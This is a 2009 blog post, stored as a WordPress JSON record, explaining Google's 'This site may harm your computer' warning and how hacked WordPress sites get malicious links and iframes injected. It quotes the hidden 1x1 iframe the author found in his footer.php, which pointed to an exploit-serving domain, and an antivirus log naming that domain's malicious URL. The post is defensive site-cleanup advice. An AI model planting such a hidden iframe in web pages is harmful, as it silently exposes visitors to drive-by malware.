{"id":4450,"date":"2009-05-22T19:00:28","date_gmt":"2009-05-22T19:00:28","guid":{"rendered":"https:\/\/www.amitbhawani.com\/blog\/?p=4450"},"modified":"2011-01-04T09:58:01","modified_gmt":"2011-01-04T04:28:01","slug":"remove-harmful-website-warning","status":"publish","type":"post","link":"https:\/\/www.amitbhawani.com\/blog\/remove-harmful-website-warning\/","title":{"rendered":"Solution for ‘This site may harm your computer’ Message"},"content":{"rendered":"

I run a website on seo and recently its acting weird with the following messages in google search results and when i access it. When i do a site:mywebsite.com search in google, i get a message below the search result stating that ‘This site may harm your computer.’ which is making me lose visitors, apart from which iam not able to access my website. What may be the problem, because when i try to visit my website i get a message stating that – ‘Reported Attack Site!’ and it says that my website is trying to install programs which can steal private information or damage the visitors computers but i run a genuine information website and have no downloads nor any illegal material. What may be the solution for this problem and is my website hacked? – Question by a Reader through Phone<\/p>\n

First of all you need to understand that these are some badware warning<\/a> against malicious software which is given by Google through stopbadware.org which warns all the google searchers against visiting websites which can be harmful to them. You need to detect malware<\/a> and also visit the google safe browsing<\/a> section which lists all the information about different websites and if they were listed as suspicious in the last 90days.<\/p>\n

\"Reported<\/p>\n

Sometimes because of some wrong permissions on your website scripts like wordpress or when you have easy passwords for your FTP accounts, your websites can be compromised after which these hackers would add some malicious links within your content or in the footer section using direct links with visibility=0 or else using iFrames. You need to continuously make sure that your websites content is secure and you have no links placed by the hackers anywhere on your ftp.<\/p>\n

Read this wordpress security guide<\/a> which can give you some important points you need to make note of while running a blog and also here are some plugins which you need to run on your wordpress blog to make sure you can regularly scan for the content of your blog and all he plugin files and theme files.<\/p>\n

\"Harmful<\/p>\n

My Experience : <\/strong>
\nRecently after making a quick check on my blog, i found that there were some iframe codes added to my blogs homepage which i could not detect but a friend anurag messaged me about the same. The website was not accessible to him because his Antivirus Software ‘nod32’ could detect and disallowed him to access the website with a virus message. His antivirus software even removed the virus from his PC which got downloaded, and then he recieved the following message :<\/p>\n

HTTP filter file http:\/\/brugeni.net\/p1d2f3.php?id=2038730&vis=1 PDF\/Exploit.Pidief.OJS.Gen trojan connection terminated – quarantined Anurag\\Ozakx Threat was detected upon access to web by the application: C:\\Program Files\\Mozilla Firefox\\firefox.exe.<\/p><\/blockquote>\n

When i visited the footer.php & index.php file of my wordpress installation i found the following iframe added to the files at the end which is the reason the homepage was continiously loading like a loop and was also breaking the theme files, though as a normal user anyone cannot find out this malicious code in the blog, unless the antivirus softwares can find them.<\/p>\n

<iframe src=”http:\/\/brugeni.net\/?click=44E729″ width=1 height=1 style=”visibility:hidden;position:absolute”><\/iframe><\/p><\/blockquote>\n

Solution for Removing the iFrames :<\/strong>
\nThere are several wordpress plugins which can help you stay secure by checking all the file permissions, blog content and your ftp files. Here are few recommendations :<\/p>\n